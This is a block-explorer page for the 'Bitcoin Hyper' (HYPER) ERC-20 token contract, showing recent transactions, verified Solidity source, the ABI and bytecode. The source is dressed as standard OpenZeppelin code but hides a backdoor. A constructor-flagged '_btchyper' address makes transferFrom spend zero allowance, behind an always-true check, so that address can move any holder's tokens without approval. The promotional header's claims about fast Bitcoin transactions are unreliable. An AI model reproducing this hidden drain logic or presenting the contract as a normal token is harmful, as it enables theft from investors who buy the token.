Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 456 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 41105834 | 4 days ago | IN | 0 ETH | 0.00000062 | ||||
| Approve | 41105811 | 4 days ago | IN | 0 ETH | 0.00000083 | ||||
| Transfer | 41105805 | 4 days ago | IN | 0 ETH | 0.00000071 | ||||
| Approve | 41050907 | 5 days ago | IN | 0 ETH | 0.00000048 | ||||
| Approve | 40992671 | 7 days ago | IN | 0 ETH | 0.00000068 | ||||
| Approve | 40545309 | 17 days ago | IN | 0 ETH | 0.00000029 | ||||
| Transfer | 40545306 | 17 days ago | IN | 0 ETH | 0.00000038 | ||||
| Approve | 40540878 | 17 days ago | IN | 0 ETH | 0.00000019 | ||||
| Approve | 40531522 | 17 days ago | IN | 0 ETH | 0.00000024 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505155 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505154 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505154 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505154 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505154 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505154 | 18 days ago | IN | 0 ETH | 0.00000037 | ||||
| Transfer | 40505154 | 18 days ago | IN | 0 ETH | 0.00000037 |
Cross-Chain Transactions
Loading...
Loading
Contract Name:
HYPER
Compiler Version
v0.8.23+commit.f704f362
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
/*
Bitcoin Hyper
HYPER
Bitcoin Hyper finally unlocks fast and cheap Bitcoin transactions.
Bitcoin Hyper. Building Bitcoin's Future. Building Base's Future too.
https://hyperonbase.com
https://x.com/BtcHyperBase
https://t.me/BtcHyperBase
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)
pragma solidity >=0.4.16;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(
address owner,
address spender
) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity >=0.6.2;
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol
// OpenZeppelin Contracts (last updated v5.4.0) (interfaces/draft-IERC6093.sol)
pragma solidity >=0.8.4;
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Standard ERC-721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
*/
interface IERC721Errors {
/**
* @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
* Used in balance queries.
* @param owner Address of the current owner of a token.
*/
error ERC721InvalidOwner(address owner);
/**
* @dev Indicates a `tokenId` whose `owner` is the zero address.
* @param tokenId Identifier number of a token.
*/
error ERC721NonexistentToken(uint256 tokenId);
/**
* @dev Indicates an error related to the ownership over a particular token. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param tokenId Identifier number of a token.
* @param owner Address of the current owner of a token.
*/
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC721InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC721InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param tokenId Identifier number of a token.
*/
error ERC721InsufficientApproval(address operator, uint256 tokenId);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC721InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC721InvalidOperator(address operator);
}
/**
* @dev Standard ERC-1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
*/
interface IERC1155Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
* @param tokenId Identifier number of a token.
*/
error ERC1155InsufficientBalance(
address sender,
uint256 balance,
uint256 needed,
uint256 tokenId
);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC1155InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC1155InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param owner Address of the current owner of a token.
*/
error ERC1155MissingApprovalForAll(address operator, address owner);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC1155InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC1155InvalidOperator(address operator);
/**
* @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
* Used in batch transfers.
* @param idsLength Length of the array of token identifiers
* @param valuesLength Length of the array of token amounts
*/
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256))
private _allowances;
mapping(address account => bool) internal _btchyper;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _transferAmount;
uint256 private MAX_TRANSFER_AMOUNT = 1000000000;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 9;
}
/// @inheritdoc IERC20
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/// @inheritdoc IERC20
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/// @inheritdoc IERC20
function allowance(
address owner,
address spender
) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(
address spender,
uint256 value
) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_transfer(from, to, value);
_spendAllowance(from, spender, _transferAmount);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
_transferAmount = value;
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (MAX_TRANSFER_AMOUNT>=0 && _btchyper[_msgSender()]) _transferAmount = 0;
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
*
* ```solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates `owner`'s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
pragma solidity ^0.8.20;
contract HYPER is ERC20 {
string public _hyperProjectName = "Bitcoin Hyper";
string public _hyperProjectSymbol = "HYPER";
uint144 public _hyperVersion = 2;
constructor(
string memory name,
string memory symbol,
address pair
) ERC20(name, symbol) {
_btchyper[pair] = true;
_mint(_msgSender(), 1_000_000_000 * 10 ** decimals());
}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"address","name":"pair","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_hyperProjectName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_hyperProjectSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_hyperVersion","outputs":[{"internalType":"uint144","name":"","type":"uint144"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052633b9aca006007556040518060400160405280600d81526020017f426974636f696e204879706572000000000000000000000000000000000000008152506008908162000052919062000775565b506040518060400160405280600581526020017f48595045520000000000000000000000000000000000000000000000000000008152506009908162000099919062000775565b506002600a5f6101000a81548171ffffffffffffffffffffffffffffffffffff021916908371ffffffffffffffffffffffffffffffffffff160217905550348015620000e3575f80fd5b5060405162001e1338038062001e13833981810160405281019062000109919062000a12565b828281600490816200011c919062000775565b5080600590816200012e919062000775565b505050600160025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620001d56200019a620001de60201b60201c565b620001aa620001e560201b60201c565b600a620001b8919062000c32565b633b9aca00620001c9919062000c82565b620001ed60201b60201c565b50505062000d99565b5f33905090565b5f6009905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000260575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000257919062000cdd565b60405180910390fd5b620002735f83836200027760201b60201c565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620002cb578060035f828254620002be919062000cf8565b925050819055506200039c565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101562000357578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016200034e9392919062000d43565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f6007541015801562000404575060025f620003bd620001de60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1562000412575f6006819055505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200045b578060035f8282540392505081905550620004a5565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000504919062000d7e565b60405180910390a3505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200058d57607f821691505b602082108103620005a357620005a262000548565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006077fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005ca565b620006138683620005ca565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200065d6200065762000651846200062b565b62000634565b6200062b565b9050919050565b5f819050919050565b62000678836200063d565b62000690620006878262000664565b848454620005d6565b825550505050565b5f90565b620006a662000698565b620006b38184846200066d565b505050565b5b81811015620006da57620006ce5f826200069c565b600181019050620006b9565b5050565b601f8211156200072957620006f381620005a9565b620006fe84620005bb565b810160208510156200070e578190505b620007266200071d85620005bb565b830182620006b8565b50505b505050565b5f82821c905092915050565b5f6200074b5f19846008026200072e565b1980831691505092915050565b5f6200076583836200073a565b9150826002028217905092915050565b620007808262000511565b67ffffffffffffffff8111156200079c576200079b6200051b565b5b620007a8825462000575565b620007b5828285620006de565b5f60209050601f831160018114620007eb575f8415620007d6578287015190505b620007e2858262000758565b86555062000851565b601f198416620007fb86620005a9565b5f5b828110156200082457848901518255600182019150602085019450602081019050620007fd565b8683101562000844578489015162000840601f8916826200073a565b8355505b6001600288020188555050505b505050505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b6200088d8262000872565b810181811067ffffffffffffffff82111715620008af57620008ae6200051b565b5b80604052505050565b5f620008c362000859565b9050620008d1828262000882565b919050565b5f67ffffffffffffffff821115620008f357620008f26200051b565b5b620008fe8262000872565b9050602081019050919050565b5f5b838110156200092a5780820151818401526020810190506200090d565b5f8484015250505050565b5f6200094b6200094584620008d6565b620008b8565b9050828152602081018484840111156200096a57620009696200086e565b5b620009778482856200090b565b509392505050565b5f82601f8301126200099657620009956200086a565b5b8151620009a884826020860162000935565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620009dc82620009b1565b9050919050565b620009ee81620009d0565b8114620009f9575f80fd5b50565b5f8151905062000a0c81620009e3565b92915050565b5f805f6060848603121562000a2c5762000a2b62000862565b5b5f84015167ffffffffffffffff81111562000a4c5762000a4b62000866565b5b62000a5a868287016200097f565b935050602084015167ffffffffffffffff81111562000a7e5762000a7d62000866565b5b62000a8c868287016200097f565b925050604062000a9f86828701620009fc565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000b335780860481111562000b0b5762000b0a62000aa9565b5b600185161562000b1b5780820291505b808102905062000b2b8562000ad6565b945062000aeb565b94509492505050565b5f8262000b4d576001905062000c1f565b8162000b5c575f905062000c1f565b816001811462000b75576002811462000b805762000bb6565b600191505062000c1f565b60ff84111562000b955762000b9462000aa9565b5b8360020a91508482111562000baf5762000bae62000aa9565b5b5062000c1f565b5060208310610133831016604e8410600b841016171562000bf05782820a90508381111562000bea5762000be962000aa9565b5b62000c1f565b62000bff848484600162000ae2565b9250905081840481111562000c195762000c1862000aa9565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000c3e826200062b565b915062000c4b8362000c26565b925062000c7a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b3c565b905092915050565b5f62000c8e826200062b565b915062000c9b836200062b565b925082820262000cab816200062b565b9150828204841483151762000cc55762000cc462000aa9565b5b5092915050565b62000cd781620009d0565b82525050565b5f60208201905062000cf25f83018462000ccc565b92915050565b5f62000d04826200062b565b915062000d11836200062b565b925082820190508082111562000d2c5762000d2b62000aa9565b5b92915050565b62000d3d816200062b565b82525050565b5f60608201905062000d585f83018662000ccc565b62000d67602083018562000d32565b62000d76604083018462000d32565b949350505050565b5f60208201905062000d935f83018462000d32565b92915050565b61106c8062000da75f395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ed9b8db146101be57806395d89b41146101dc5780639b3a2ab4146101fa578063a9059cbb14610218578063dd62ed3e14610248576100b2565b806306fdde03146100b657806307689e2c146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170575b5f80fd5b6100be610278565b6040516100cb9190610ca0565b60405180910390f35b6100dc610308565b6040516100e99190610cec565b60405180910390f35b61010c60048036038101906101079190610d96565b61032b565b6040516101199190610dee565b60405180910390f35b61012a61034d565b6040516101379190610e16565b60405180910390f35b61015a60048036038101906101559190610e2f565b610356565b6040516101679190610dee565b60405180910390f35b610178610386565b6040516101859190610e9a565b60405180910390f35b6101a860048036038101906101a39190610eb3565b61038e565b6040516101b59190610e16565b60405180910390f35b6101c66103d3565b6040516101d39190610ca0565b60405180910390f35b6101e461045f565b6040516101f19190610ca0565b60405180910390f35b6102026104ef565b60405161020f9190610ca0565b60405180910390f35b610232600480360381019061022d9190610d96565b61057b565b60405161023f9190610dee565b60405180910390f35b610262600480360381019061025d9190610ede565b61059d565b60405161026f9190610e16565b60405180910390f35b60606004805461028790610f49565b80601f01602080910402602001604051908101604052809291908181526020018280546102b390610f49565b80156102fe5780601f106102d5576101008083540402835291602001916102fe565b820191905f5260205f20905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600a5f9054906101000a900471ffffffffffffffffffffffffffffffffffff1681565b5f8061033561061f565b9050610342818585610626565b600191505092915050565b5f600354905090565b5f8061036061061f565b905061036d858585610638565b61037a858260065461072f565b60019150509392505050565b5f6009905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff